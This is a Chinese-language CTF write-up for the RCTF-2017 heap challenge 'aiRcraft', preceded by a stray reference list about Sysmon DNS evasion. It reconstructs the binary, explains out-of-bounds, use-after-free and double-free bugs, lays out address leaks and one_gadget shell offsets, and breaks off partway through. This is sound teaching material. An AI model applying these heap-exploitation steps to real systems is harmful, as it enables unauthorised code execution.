Retrieved June 24, 2019, from <http://scz.617.cn/windows/201705111519.txt>
[6] Microsoft. (2019, June 14). Sysmon v10.1 [Web log post]. Retrieved June
15, 2019, from <https://docs.microsoft.com/en-us/sysinternals/downloads/sysmon>
[7] 红雨滴团队. (2019, June 12). 喜讯：微软发布具有DNS查询日志记录功能的Sysmon [Web log post].
Retrieved June 13, 2019, from
<https://mp.weixin.qq.com/s/0xKYO5NObXV9Lsyb97fhjg>
[8] SwiftOnSecurity. (2019, May 10). Sysmon-config [Web log post]. Retrieved
May 11, 2019, from <https://github.com/SwiftOnSecurity/sysmon-config>
[9] Chester A.(2019, June 15). Evading Sysmon DNS Monitoring [Web log post].
Retrieved June 16, 2019, from <https://blog.xpnsec.com/evading-sysmon-dns-monitoring/>
[10] DOMAIN NAMES - IMPLEMENTATION AND SPECIFICATION. (1987, November).
Retrieved June 5, 2019, from <https://www.ietf.org/rfc/rfc1035.txt>
[11] Klein A., Benny P. (2019). DNS Cache-Based User Tracking. In NDSS. | 社区文章 |
# aiRcraft题目详析——Double free与UAF
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## Introduction
aiRcraft是RCTF-2017（CTFTIME评分24.13）中的一道pwn题， 分值为606。
这道题主要涉及的知识点有：
1\. Double Free
2\. Use After Free
虽然知识点并不复杂，利用方法也中规中矩，但是题目对于菜单的某些设置使我们在利用时会遇到一些困难——不同于普通菜单题所提供的操作，本题所提供的操作耦合度较高（相对于heap的原子操作，如malloc，free），所以我们进行exploit时的每一个操作都必须充分考虑到它所带来的边际效应，并恰当地进行拼凑，达到get
shell的目的。因此这道题对我们的调试提出了较高的要求。
这篇writeup的目的在于以一个初学者的视角（我本人确实也是初学者），对这道题进行一个详尽的分析，并尝试从这道题中总结某种做题的模式，顺便总结在exploit过程中可能遇到的坑，为之后的工作带来一些启发。深谙ctf的老手可以选择感兴趣的部分阅读，欢迎批评指正。
## Reverse & Static Analysis
这道题目提供了一个Binary以及libc，它们的二进制文件可以在我的github中找到：
Binary:<https://github.com/kongjiadongyuan/pwn-study/blob/master/2017-Rctf/aiRcraft/aiRcraft>
libc:<https://github.com/kongjiadongyuan/pwn-study/blob/master/2017-Rctf/aiRcraft/libc.so.6>
### 1\. 首先我们对题目简单的运行，对它有一个基本的了解：
(pwn) kongjiadongyuan in ~/aiRcraft λ checksec aiRcraft
[*] '/home/kongjiadongyuan/aiRcraft/aiRcraft'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
从这里我们可以得到以下信息：
1\. 64位程序；
2\. got表无法修改（这比较重要，因为修改got表是我们的一个重要手段）；
3\. Stack Canary防止栈溢出，虽然这不是这一题的重点；
4\. NX，意味着我们无法进行shellcode的运行；
5\. PIE意味着这一题的代码段位置随机化了，我们无法将执行流劫持到某一特定的代码段位置了，除非我们泄露了地址。
现在我们尝试运行一下程序：
(pwn) kongjiadongyuan in ~/aiRcraft λ ./aiRcraft
Welcome to aiRline!
what do you want to do?
1. Buy a new plane
2. Build a new airport
3. Enter a airport
4. Select a plane
5. Exit
Your choice:
在进行了进一步的测试之后，我们就会大致理清楚这道题的逻辑：（这里只是粗略地了解，之后在代码分析中再细致地分析）
这道题存在两种逻辑上的实体：airport，plane；plane具有**Company**，**Name**的属性，并且可以飞往各个airport，airport有**Name**的属性，并且可以承载各个plane。
这里应该特别指出，这道题具有时间限制，当预设的时间到达时，程序会自动退出：
[1] 27244 alarm ./aiRcraft
这也是一种菜单题中比较常见的做法，目的是为了防止在选手做题时保持长时间的连接虚耗资源（如果需要出题可以效仿这种做法）
在使用gdb调试时，接收到alarm的信号时只会提醒，不会退出程序，因此在进行实际调试时，只需要gdb attach到相应的进程号就可以避免接收到信号退出。
### 2\. 现在我们开始对题目进行逆向
配合ida的反编译功能，并对一些变量进行重新命名，同时将一些结构体进行自定义，我手动写出了题目的源码（不是原始代码），相对来说可读性比较高了，在这里进行展示，以供大家参考。
//先展示两个结构体
struct airport{
char* airport_name;
plane* planes[16];
};
struct plane{
char plane_name[32];
char* company_name;
struct airport* airport;
struct plane* ubk;
struct plane* ufd;
/*
这两个指针是为了维护plane的双链表管理结构的指针。
为了避免发生混淆，这里需要特别指出，这里的ubk，ufd并不是libc中chunk结构的fd与bk，而是由这个程序自己维护的双链表指针。
*/
void* free_pointer;
/*
这里的指针指向了一个函数的入口，这个入口后来被证实是一个包装过的free()函数，在程序中，如果释放plane结构体，会选择调用这个指针所指向的函数，而不是libc的free()函数（虽然实际上就是调用free()函数）。
这显然是一种面向对象的思想，虽然在c程序中这样写显得很愚蠢而且很刻意——改写这个指针就是我们exploit的最后一步，但是在实际场景中，面向对象的思想确实会写出这种代码，因此还是有一定的指导意义的。
*/
};
/*
为了方便之后的分析，在这里放上结构体中各个成员的偏移量：
struct airport:
00000000 airport struc ; (sizeof=0x88, align=0x8, mappedto_13)
00000000 airport_name dq ? ; offset
00000008 planes dq 16 dup(?) ; offset
00000088 airport ends
struct plane:
00000000 plane struc ; (sizeof=0x48, align=0x8, mappedto_10)
00000000 ; XREF: .bss:plane_header/r
00000000 plane_name db 32 dup(?)
00000020 company_name dq ? ; offset
00000028 airport dq ?
00000030 ubk dq ? ; offset
00000038 ufd dq ? ; XREF: select_plane+52/r ; offset
00000040 free_pointer dq ? ; offset
00000048 plane ends
！！！！！！这里需要注意，plane结构实际上只使用了结构体的前0x40个字节的位置，但是在申请时申请了0x48的空间。
*/
//再强调几个全局变量，这几个全局变量在整道题目中有重要意义
/*
airports，用来管理所有airport的一个指针数组：
.bss:0000000000202080 ; airport *airports[16]
.bss:0000000000202080 airports dq 10h dup(?)
*/
airport *airports[16];
/*
plane_header，是管理所有plane的结构，本质上是plane链表的链表头
.bss:0000000000202100 ; plane plane_header
.bss:0000000000202100 plane_header plane <?>
在初始化后与plane具有相同大小，同样是0x48
*/
plane plane_header;//在usr_init函数中会初始化为0
/*
companies, 这是一个指针数组，每个元素都指向一个公司名字字符串，我们的exploit核心之一就在这里，后面会详细介绍。
.data:0000000000202020 ; char *companies[]
.data:0000000000202020 companies dq offset aBoeing ; DATA XREF: buy_plane+2A↑o
.data:0000000000202020 ; buy_plane+B4↑o
.data:0000000000202020 ; "Boeing"
.data:0000000000202028 dq offset aAirbus ; "AirBus"
.data:0000000000202030 dq offset aLockheed ; "Lockheed"
.data:0000000000202038 dq offset aBombardier ; "Bombardier"
.data:0000000000202038 _data ends
*/
char *companies[4];
char aBoeing[7] = "Boeing\0"
char aAirbus[7] = "AirBus\0";
char aLockheed[9] = "Lockheed\0";
char aBombardier[11] = "Bombardier\0";
companies[0] = aBoeing;
companies[1] = aAirbus;
companies[2] = aLockheed;
companies[3] = aBombardier;
//main函数，offset=0x0000000000001530
int main(){
usr_init();
operate();
}
//usr_init函数，offset=0x000000000000147C
airport* usr_init(){
struct airport* result;
signed int i;
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
setvbuf(stderr, 0, 2, 0);
alarm(0x3C);
result = memset(&plane_header, 0, 0x48);
//将plane_header的0x48个字节全部初始化为0，链表头不指向任何下一个节点，即现在并没有任何一架飞机
for(i = 0; i <= 15; ++i){
result = airports;
airports[i] = 0;
}
//将airports数组中的所有指针全部置空，即现在并没有任何一座机场
return result;
}
//operate函数，offset=0x000000000000138C
//这是这道题目的主体函数
void operate()
{
int savedreg;
puts("Welcome to aiRline!");
while ( 1 )
{
puts("what do you want to do?");
puts("1. Buy a new plane");
puts("2. Build a new airport");
puts("3. Enter a airport");
puts("4. Select a plane");
puts("5. Exit");
printf("Your choice: ");
input_choice();
switch ( savedreg )
{
case 1u:
buy_plane();
break;
case 2u:
build_airport();
break;
case 3u:
enter_airport();
break;
case 4u:
select_plane();
break;
case 5u:
exit(0);
return;
default:
puts("Invaild choice!");
break;
}
}
}
/*
这里的调理比较清晰，我们可以清楚地知道四 个一级菜单的主要操作函数为：
buy_plane()
build_airport()
enter_airport()
select_plane()
在介绍这四个主要函数之前，我们还需要先剖析一下一个比较小的函数：
input_choice()
*/
//input_choice函数，offset=0x0000000000000B20
int input_choice(){
int v1;
int result;
char nptr;
unsigned int v3;
v3 = __readfsqword(0x28u)
input2addr(&nptr, 32);
v1 = atoi(&nptr);
if(v1 >= 0)
result = (unsigned int)v1;
else
result = 0xFFFFFFFFLL;
return result;
}
/*
这个函数的逻辑相对来说也比较清晰，其中嵌套的函数input2addr()稍后再分析，现在我们来理清这个函数的某些特点：
1.我们注意到虽然input_choice()函数确实会返回一个值，但是在operate()函数中并没有对返回值进行接收，返回值凭空出现在了savedreg变量中，实际上在这里（这道题目中只有operate()中的这个地方是这样）变量的值是由寄存器传递的，因此在反编译中并不能体现出来。这一点只需要好好看一看汇编代码就可以明白。
2.这个函数只接受正值输入，如果输入负值就会返回-1，这个特性在之后会用到。
*/
//input2addr函数，offset=0x0000000000000AA0
int input2addr(char *maddr, int length){
char buf;
usigned int i;
for( i = 0; i < length && read(0, &buf, 1) > 0; ++i ){
maddr[i] = buf;
if( maddr[i] = '\n' ){
maddr[i] = 0;
return i;
}
}
return i;
}
/*
像这样的输入函数一直是我们乐于分析的对象，因为这种函数一不小心就会存在越界情况，无论是严重的overflow，还是单字节的off-by-one都能对我们解题带来难以想象的帮助；并且对于录入方法的分析，可以让我们了解哪些字符会截断我们的输入，这对我们之后地址和shellcode的选择有重要的指导。
1.这个函数采用read方法进行录入，则不会被截断，交给程序进行手动截断；
2.当程序进行录入时会严格检查边界，当录入长度到达length时，就会强行截断，同时在检测到输入'\n'时也会截断，并将'\n'改为'\0'作为字符串的结尾。这里需要注意，当输入超过了length时，并不会将最后一个字符改为'\0'，因此在这里是有可能触发非法读的（非法写是不会出现的），在后面的函数中给我们会看到，每当调用了这个函数，之后调用者会手动将 maddr[length-1] 更改为'\0'，因此在这个上下文中，这个函数是比较安全的。
*/
//接下来分析四个一级菜单函数
//buy_plane函数，offset=0x0000000000000BED
plane* buy_plane(){
struct plane *result;
int tmp;
int choice;
struct plane *plane;
puts("which company? ");//其实这句话的单词被出题人拼错了:p
tmp = 0;
while(tmp <= 3){
printf("%d.%s\n", tmp+1, companies[tmp], tmp);
tmp = tmp + 1;
}
printf("Your choice: ");
choice = input_choice();
plane = (struct plane *)malloc(0x48);
if( !plane ){
puts("malloc error!");
exit(1);
}
plane->company_name = companies[choice - 1];
//这个题目的关键漏洞之一，这里并没有进行越界检查
printf("Input the plane's name: ");
input2addr(plane->plane_name, 0x20);
/*
这里为了避免读者在看源码时存在疑问，需要解释一下，根据ida的反编译结果，这个语句本来应该是这样：
input2addr(plane, 0x20);
但是根据之前的input2addr()函数的分析，可以知道这个函数只关心第一个参数所指向的地址，而在plane结构体中plane_name[0x20]数组的偏移量为0x00，因此这里传入plane参数或是plane_name参数本质上是没有任何区别的，这里我为了增加逻辑上的可读性，将第一个参数改为了plane->plane_name,对结果没有任何影响。特此说明。
*/
plane->plane_name[0x1F] = 0;
/*
这里就是之前所提到的，在调用了input2addr()函数之后，调用者将最后一个字节手动改为了'\0'，保证了程序的鲁棒性。
虽然这样做保证了安全，但是却给了我们启发——我们不可能永远都记得这个函数调用之后需要手动将最后一个字节清零，因此在稍大一点的工程中这里是一定会出现漏洞的，因此我们在编程时应该注意在函数中做好维护工作，保证函数的功能在逻辑上的严密性以及完整性。
*/
plane->airport = 0;
add_plane_to_linklist(plane);
result = plane;
plane->free_pointer = wrapped_free;
return result;
}
/*
这里出现了本题中第一个关键漏洞，在 plane->company_name = companies[choice -1] 这一条语句中并没有考虑到choice超过4的情况（从逻辑上说，companies数组只存在4个元素，因此 choice >= 4 的情形应该一律算作越界），所以我们可以在这里将plane->company_name数组尽情地赋值为我们想要的地址。
choice是之前调用input_choice()函数的返回值，而在之前的分析我们已经知道，这个函数只会返回正的值，负的值一律变为-1，因此从大方向来说，我们只能将plane->company_name赋值为比companies数组更高的地址（offset >= 0x0000000000202020）。
我们的第一反应是如果能够将它指向got表，也许就可以泄露libc的地址，但是很可惜，我们的got表位于更低的地址，因此无法这么做。让我们将眼光向广袤的高地址区域探索，我们发现了一个引起我们兴趣的地方——plane_header,offset = 0x0000000000202100，而plane_header->ufd的地址为offset(plane_header)+0x30+0x10（这里需要解释一下，0x30是ufd成员在plane_header结构体的偏移量，而0x10是堆管理结构中的prev_size以及size域的空间），换算成与companies数组的索引为 (offset(plane_header) + 0x30 + 0x10 - offset(companies))/0x8 = 36，即companies[36]的值就是一个指向某plane结构体的指针！（注意这里的指针并不是指向chunk的头部，而是指向chunk头部地址加0x10，因为在malloc时返回的是可用空间的地址）
在这里，我们不妨将正在创建的plane结构体的名字叫做op_plane，一旦我们将plane_header->ufd的值赋值给了这里的op_plane->company_name,并且在赋值之前plane_header->ufd已经指向了一个plane结构体（我们不妨把它叫做old_plane），那么此时的op_plane->company_name就正好指向old_plane->plane_name。下面是一个简单的示意图：
plane_header
+-----------------------+
| prevsize |
+-----------------------+
| size |
+-----------------------+ old_plane
| | +-----------------------+
| ...... | | prevsize |
| | +-----------------------+
equivalent to +-----------------------+ | size |
companies[36] ---+--->| ufd |-----+---->+-----------------------+
| +-----------------------+ | | |
| | ubk | | | |
| +-----------------------+ | | plane_name |
| | ...... | | | |
| | | | | |
| +-----------------------+ | +-----------------------+
| | | airport |
op_plane->company_name=companies[36] | +-----------------------+
| | | ufd |
| op_plane | +-----------------------+
| +-----------------------+ | | ubk |
| | prevsize | | +-----------------------+
| +-----------------------+ | | ...... |
| | size | | +-----------------------+
| +-----------------------+ |
| | ...... | |
| +-----------------------+ |
+--->| company_name |-----+
+-----------------------+
| |
| |
| ...... |
| |
| |
+-----------------------+
更加有意思的事情在于old_plane结构体中plane_name所在的位置：
+-----------------------+
| prevsize |
+-----------------------+
| size |
plane_header->ufd--->+-----------------------+------------
| fd | |
+-----------------------+ |
| bk | |
+-----------------------+ plane_name
| | |
| | |
| | |
| | v
+-----------------------+------------
| |
| |
| |
| ...... |
| |
| |
| |
| |
+-----------------------+
图中的fd与bk指的是libc的堆管理结构中的指针：
1.如果这个位置存在一个free状态的，大小处于fast bin范围的chunk，且fastbin中存在其他的chunk，fd的位置就会是一个指向堆中某个chunk的指针；
2.如果这个位置存在一个free状态的，大小处于unsorted bin范围的chunk，fd与bk的位置都就都会是指向main_arena结构体的指针。
在之后的函数中，我们会看到：我们选择打印plane结构体，实际上是打印plane->company_name所指向的字符串，因此一旦我们之前所说的条件达成，堆中的某个地址或者libc中的某个地址就会以字符串的形式被打印出来。我们就可以以此泄露想要的地址，绕过PIE以及ASLR的限制。
除此之外，我们还有另外一种思路：
在偏移量为0x0000000000202080处，有airports数组，对应companies中的索引为 (offset(airports) - offset(companies))/0x8 = 13, 如果我们将正在申请的plane（不妨称为op_plane）的元素op_plane->company赋值为airports所在的位置，而刚好airports数组的第一个元素正储存着一个airport的指针(不妨称为old_airport)，那么我们就可以直接访问old_airport的元素了：
airports
equivalent to +-----------------------+
companies[13]-----+---->| airports[0] |-----+
| +-----------------------+ |
| | airports[1] | |
| +-----------------------+ |
| | airports[2] | |
| +-----------------------+ |
| | | |
| | | | old_airport
| | | | +-----------------------+
| | ...... | | | prevsize |
| | | | +-----------------------+
| | | | | size |
| | | +----->+-----------------------+
| +-----------------------+ | | airport_name |
| | +-----------------------+
op_plane->company_name=companies[13] | | |
| | | |
| op_plane | | ...... |
| +-----------------------+ | | |
| | prevsize | | | |
| +-----------------------+ | | |
| | size | | | |
| +-----------------------+ | +-----------------------+
| | ...... | |
| +-----------------------+ |
+---->| company_name |-----+
+-----------------------+
| |
| |
| ...... |
| |
| |
+-----------------------+
old_airport->airport_name正是一个指向某个chunk的指针，这个chunk是在进行airport_build操作时为了存储airport_name字符串而申请，同样在堆上，因此这里可以泄露出堆的地址；
同样地old_airport->airport_name所对应的偏移量在chunk处于free状态时也是libc管理结构中的fd指针，指向main_arena，因此可以泄露出libc的基地址。
*/
/*
接下来展示两个在buy_plane函数中调用的小函数:
1.add_plane_to_linklist()
2.wrapped_free()
*/
//add_plane_to_linklist函数,offset=0x0000000000000B98
plane* add_plane_to_linklist(struct plane *plane){
struct plane *result;
struct plane *i;
for( i = &plane_header; i->ufd; i = i->ufd);
i->ufd = plane;
plane->ufd = 0;
result = plane;
plane->ubk = i;
return result;
}
//wrapped_free函数,offset=0x0000000000000B7D
void wrapped_free(struct plane *plane){
free(plane);
}
//build_airport函数，offset=0x0000000000000E08
int build_airport(){
struct airport **tmp;
int i;
int j;
int name_length;
for( i = 0; i <= 15 && airports[i]; ++i);
if(i <= 15){
printf("how long is the airport's name? ");
name_length = input_choice();
if( name_length > 0xF && name_length <= 0x100){
airport = (struct airport *)malloc(0x88);
if( !airport ){
puts("malloc error!");
exit(1);
}
for( j = 0; j <= 15; ++j )
airport->planes[j] = 0;
airport->airport_name = malloc(name_length);
memset(airport->airport_name, 0, name_length);
printf("Please input the name: ", 0);
input2addr(airport->airport_name, name_length);
tmp = airports;
airports[i] = airport;
}
else{
v0 = puts("Invalid length!");
}
}
else{
v0 = puts("Too much airport!");
}
return (signed int)v0;
}
/*
这个函数的返回值比较奇怪但是无关紧要——反正也没有函数去接收它的返回值。
注意这里airport_name所指向的空间是依据我们填写的尺寸进行申请的空间，其空间的范围为 name_length > 0xF && name_length <= 0x100， 即0x10~0x100，这个范围处于small bins中，并且已经超过了fast bins的范围，因此我们可以申请一个超过0x80大小（这里指chunk大小，申请则应该超过0x78,即最少0x79大小）的chunk，释放之后就会被放入unsorted bins，此时chunk中的fd与bk（不是ufd,ubk，而是libc的管理结构）都指向main_arena。
但是需要注意的是，由于最大的申请大小为0x100，因此无法触发fastbin_consolidate。
*/
//enter_airport函数，offset = 0x000000000000130C
int enter_airport()
{
int result;
signed int v1;
printf("Which airport do you want to choose? ");
v1 = input_choice();
if ( v1 >= 0 && v1 <= 15 && airports[v1] )
result = operate_airport(airports[v1]);
else
result = puts("No such airport!");
return result;
}
//这里依据airports数组中的索引选择一个airport，进行下一步操作
//operate_airport函数,offset = 0x00000000000011A5
int operate_airport(struct airport *airport)
{
int result;
while ( 1 )
{
puts("What do you want to do ?");
puts("1. List all the plane");
puts("2. Sell the airport");
puts("3. Exit");
printf("Your choice: ");
result = input_choice();
if ( result == 2 )
break;
if ( result == 3 )
return result;
if ( result == 1 )
list_plane(airport);
else
puts("Invaild choice!");
}
return sell_airport(airport);
}
/*这个函数就是airport操作的二级菜单*/
//list_plane函数,offset = 0x0000000000000D08
struct plane *list_plane(struct airport *airport)
{
struct plane *tmp1;
int i;
struct plane *tmp2;
for ( i = 0; i <= 15; ++i )
{
tmp1 = airport->planes[i];
tmp2 = airport->planes[i];
if ( tmp2 )
{
printf("Plane name: %s\n", tmp2);
printf("Build by %s\n", tmp2->company_name);
tmp1 = printf("Docked at: %s\n", *tmp2->airport);
}
}
return tmp1;
}
/*
这就是配合之前所提到的漏洞泄露地址的关键函数
*/
//sell_airport函数,offset = 0x0000000000000F5E
int sell_airport(struct airport *airport)
{
struct plane *ptr;
int i;
for ( i = 0; i <= 15; ++i )
{
if ( airport->planes[i] )
{
ptr = airport->planes[i];
unlink_plane(airport->planes[i]);
free(ptr);
airport->planes[i] = 0LL;
}
}
free(airport);
return puts("Success!");
}
/*
这个函数将airport中所有的plane全部从链表中取出，并进行释放，同时将airport->planes数组的对应位置置零，最后将自身释放。
这个函数主要有这样几个问题：
1.在释放自身之前，并没有释放airport_name所指向的空间，因此airport->name所指向的空间永远没有机会释放了；
2.从逻辑上来讲，一个plane如果已经被释放过，应该在airport->planes数组中同时清零，而在之后提到的sell_plane函数中并没有这么做，因此在plane所在的chunk被释放之后，还可以通过sell_airport函数再次进行free操作，达到double free的效果；
3.在释放自身之后，并没有从airports数组中把相对应的元素清零，这意味着一旦释放之后，这个airport的指针将一直存在。
*/
//select_plane函数，offset = 0x0000000000001242
unsigned __int64 select_plane()
{
int name_length;
struct plane *plane;
char name;
unsigned __int64 v4;
v4 = __readfsqword(0x28u);
memset(&name, 0, 0x20uLL);
printf("Which plane do you want to choose? ", 0LL);
name_length = input2addr(&name, 32);
for ( plane = plane_header.ufd; plane && strncmp(plane->plane_name, &name, name_length); plane = plane->ufd );
if ( plane )
operate_plane(plane);
else
puts("No such plane!");
return __readfsqword(0x28u) ^ v4;
}
/*
通过plane->plane_name字符串在链表中选择一个plane，并进入二级菜单
*/
//operate_plane函数，offset = 0x0000000000001108
int operate_plane(struct plane *plane)
{
int choice;
int result;
while ( 1 )
{
puts("What do you want to do ?");
puts("1. Fly to another airport");
puts("2. Sell the plane");
puts("3. Exit");
printf("Your choice: ");
choice = input_choice();
result = choice;
if ( choice == 2 )
break;
if ( result == 3 )
return result;
if ( result == 1 )
fly_to(plane);
else
puts("Invaild choice!");
}
return sell_plane(plane);
}
/*
这是对plane操作的二级菜单
*/
//fly_to函数，offset = 0x0000000000000FEA
int fly_to(struct plane *plane)
{
int tmp;
int i;
struct airport *airport;
printf("which airport do you want to fly? ");
tmp = input_choice();
if ( tmp >= 0 && tmp <= 15 )
{
if ( airports[tmp] )
{
plane->airport = airports[tmp];
airport = airports[tmp];
for ( i = 0; i <= 15 && airport->planes[i]; ++i )
;
if ( i <= 15 )
{
airport->planes[i] = plane;
tmp = printf("%s to %s!\n", plane, *plane->airport);
}
else
{
tmp = puts("Too much plane!");
}
}
else
{
tmp = puts("No such airport!");
}
}
return tmp;
}
/*
将plane->airport指向飞往的airport，在飞往的airport的数组中加入这个plane的指针。
这个函数的特点如下：
并没有将之前所在的airport->planes数组中将自身指针清除，所以理论上来说，可以同时存在于多个airport->planes数组中，可以达到无数次的free操作（虽然在这里没有用到，但是应该可以有其他思路）。
*/
//sell_plane函数，offset = 0x0000000000000DD7
int sell_plane(struct plane *plane){
unlink_plane(plane);
return (plane->free_pointer)(plane);
}
/*
先将plane从链表中取下，再调用函数将chunk释放。
这里就是我们exploit策略的最后一步，将plane->free_pointer改写之后，就可以劫持执行流了。
*/
//unlink_plane函数，offset = 0x0000000000000D97
struct plane *unlink_plane(struct plane *plane)
{
struct plane *result;
plane->ubk->ufd = plane->ufd;
result = plane->ufd;
if ( result )
{
result = plane->ufd;
result->ubk = plane->ubk;
}
return result;
}
/*
这里的操作与libc中的unlink（较早版本的，因为这里并没有进行检查）类似，理论上来说可以达到同样的unlink效果，只是这里有更加简单的方式可以getshell，这里可以通过精心布置ufd与ubk参数，达到一次任意内存写的操作。
*/
## EXPLOIT!
在前面的分析中，已经将各个函数的操作以及相关特性进行了详尽的分析，接下来我们开始制定我们的exploit策略。我们接下来提到的策略只是我本人的思路，由于这道题的开放度比较高，漏洞点相对也比较多（在前面的注释中也一一提到了），因此是一定会存在其他的思路的。
### 1\. Leak Heap & Libc
想要泄露堆和libc的地址，首先我们需要像之前所提到的一样，使某个plane的company_name变量指向某个airport的头部：
我们先进行build_airport操作，获得一个airport结构体，不妨称他为airport1，此时airports[0]也已经初始化，并指向airport1->airport_name：
heapbase ------>+-----------------------+
airport1 | prevsize |
+-----------------------+
| size |
+-----------------------+
| airport_name |----+
+-----------------------+ |
| | |
| ...... | |
| | |
airport1's------>+-----------------------+ |
name string | prevsize | |
+-----------------------+ |
| size | |
+-----------------------+<---+
| |
| name |
| |
| |
+-----------------------+
此时，我们申请一个plane，不妨称它为plane1，并对它进行恰当赋值，使 plane1->company_name = companies[13]
，此时 plane1->company_name 与 &(airport1->airport_name)
在数值上相等，但是并没有依赖关系，即使之后有其他的改变，plane1->company_name也会一直指向当前时刻airport1->airport_name所在的地址：
heapbase ------>+-----------------------+ equivalent to
airport1 | prevsize | companies[13]--------+
+-----------------------+ |
| size | +-----------------------+ |
+-----------------------+<---------| airports[0] |<-+
| airport_name |----+ +-----------------------+ |
+-----------------------+ | | airports[1] | |
| | | +-----------------------+ |
| ...... | | | airports[2] | |
| | | +-----------------------+ |
airport1's------>+-----------------------+ | | | |
name string | prevsize | | | | |
+-----------------------+ | | | |
| size | | | ...... | |
+-----------------------+<---+ | | |
| | | | |
| name | | | |
| | | | |
| | +-----------------------+ |
plane1 ------>+-----------------------+ |
| prevsize | |
+-----------------------+ |
| size | |
+-----------------------+ |
| | |
| ...... | |
| | |
| | |
+-----------------------+ plane1->company_name=companies[13]|
| company_name |<------------------------------------+
+-----------------------+
| |
| ...... |
| |
| |
+-----------------------+
进行过这次操作之后，堆中的结构如下：
heapbase ------>+-----------------------+
airport1 | prevsize |
+-----------------------+
| size |
+-----------------------+<--------+
| airport_name |----+ |
+-----------------------+ | |
| | | |
| ...... | | |
| | | |
airport1's------>+-----------------------+ | |
name string | prevsize | | |
+-----------------------+ | |
| size | | |
+-----------------------+<---+ |
| | |
| name | |
| | |
| | |
plane1 ------>+-----------------------+ |
| prevsize | |
+-----------------------+ |
| size | |
+-----------------------+ |
| | |
| ...... | |
| | |
| | |
+-----------------------+ |
| company_name |---------+
+-----------------------+
| |
| ...... |
| |
| |
+-----------------------+
接下来我们只需要重新build_airport，不妨称它为airport2，并将plane1进行fly_to操作，放入airport2的数组中，并对airport2进行list操作，就可以顺利打印出plane1->company_name所指向的地址，即airport1->airport_name的值，此时，这个值为airport1’s
name string的地址，这个地址虽然因为堆地址随机化而不固定，但是与heap基址的差值是恒定的，因此我们可以就此得到heap的基址。
进行了这一步操作之后，堆的结构如下：
heapbase ------>+-----------------------+
airport1 | prevsize |
+-----------------------+
| size |
+-----------------------+<--------+
| airport_name |----+ |
+-----------------------+ | |
| | | |
| ...... | | |
| | | |
airport1's------>+-----------------------+ | |
name string | prevsize | | |
+-----------------------+ | |
| size | | |
+-----------------------+<---+ |
| | |
| name | |
| | |
| | |
plane1 ------>+-----------------------+ |
| prevsize | |
+-----------------------+ |
| size | |
+-----------------------+<---+ |
| | | |
| ...... | | |
| | | |
| | | |
+-----------------------+ | |
| company_name |----+----+
+-----------------------+ |
| | |
| ...... | |
| | |
| | |
airport2------>+-----------------------+ |
| prevsize | |
+-----------------------+ |
| size | |
+-----------------------+ |
+--| airport_name | |
| +-----------------------+ |
| | planes[0] |----+
| +-----------------------+
| | |
| | ...... |
| | |
| | |
| +-----------------------+
| | prevsize |
| +-----------------------+
| | size |
| +-----------------------+
| | |
| | name |
+->| |
| |
+-----------------------+
此时将airport1释放（sell_airport），则情形会变成这样：
heapbase ------>+-----------------------+
airport1 | prevsize |
+-----------------------+
| size |
+-----------------------+<--------+
| fd(main_arena+offset) |----+ |
+-----------------------+ | |
| bk(main_arena+offset) | | |
+-----------------------+ | |
| ...... | | |
airport1's------>+-----------------------+ | |
name string | prevsize | | |
+-----------------------+ | |
| size | | |
+-----------------------+<---+ |
| | |
| name | |
| | |
| | |
plane1 ------>+-----------------------+ |
| prevsize | |
+-----------------------+ |
| size | |
+-----------------------+<---+ |
| | | |
| ...... | | |
| | | |
| | | |
+-----------------------+ | |
| company_name |----+----+
+-----------------------+ |
| | |
| ...... | |
| | |
| | |
airport2------>+-----------------------+ |
| prevsize | |
+-----------------------+ |
| size | |
+-----------------------+ |
+--| airport_name | |
| +-----------------------+ |
| | planes[0] |----+
| +-----------------------+
| | |
| | ...... |
| | |
| | |
| +-----------------------+
| | prevsize |
| +-----------------------+
| | size |
| +-----------------------+
| | |
| | name |
+->| |
| |
+-----------------------+
由于plane1->company_name的值不变，因此仍指向相同的位置，但是此时airport1->airport_name的位置已经变成了free
chunk中的双链表指针，指向main_arena+offset，这里offset仍然是一个固定的偏移量，此时对airport2再次进行list，我们就可以得到libc的基址。
题目已经提供了libc.so.6文件，我们理论上就可以知道libc中任何代码在此时的位置，只需要将代码在libc中的偏移量加上libc的基址就可以了。这里我们对one_gadget比较感兴趣，我们用one_gadget工具就可以得到一些信息：
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL
0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL
0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL
0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
这里的任何一个地址，只要满足了下面的限制条件，跳转过去可以直接getshell。
### 2\. Double Free & Get Shell
现在我们已经知道了应该将执行流劫持到什么地址了，于是我们的目标变为了劫持执行流。
在之前提到了，由于sell_plane()函数并没有将airport->planes数组中的对应位置清空，因此我们理论上可以无限次进行free操作，这里我们只需要两次就足够了。
对于Fast Bin的Double Free的方法已经有非常详尽的教程，这里只简要叙述：
int main(){
void *a = malloc(0x10);
void *b = malloc(0x10);
free(a);
free(b);
free(a);
a = malloc(0x10);
b = malloc(0x10);
void *c = malloc(0x10);
}
在上面的一段代码中，最终的结果是a==c，具体原因不再赘述，成功的关键在于两次free(a)的操作之间必须要free一个大小处于同一个Fast
Bin的chunk。
在我们的题目中若要两次free一个plane，必须第一次调用sell_plane()函数，第二次调用sell_airport()函数（此时要求该plane处于airport->planes数组中），而不能反过来，因为sell_airport()函数调用之后就会将plane从plane_header所维护的链表中解除链接，再去调用sell_plane()函数就无法再定位到这个plane了（sell_plane()函数之前是先遍历链表来找到plane地址）。
但是即使知道了这一点，我们同样无法使用plane1进行Double Free操作，接下来我将描述一下这个细节：
假设我们再申请一个plane2用于中间的一次free操作，那么在Free之前链表处于这样的状态：
plane_header plane1 plane2
+-------+ +-------+ +-------+
| ufd |------->| ufd |------>| ufd |
+-------+ +-------+ +-------+
| ubk |<-------| ubk |<------| ubk |
+-------+ +-------+ +-------+
此时我们对plane1进行free操作：
plane_header plane2
+-------+ +-------+
| ufd |--------->| ufd |
+-------+ +-------+
| ubk |<---------| ubk |
+-------+ +-------+
^ ^
| |
| |
| |
| plane1 |
| +-------+ |
| | ufd |-----+
| +-------+
+----| ubk |
+-------+
对plane2进行free操作：
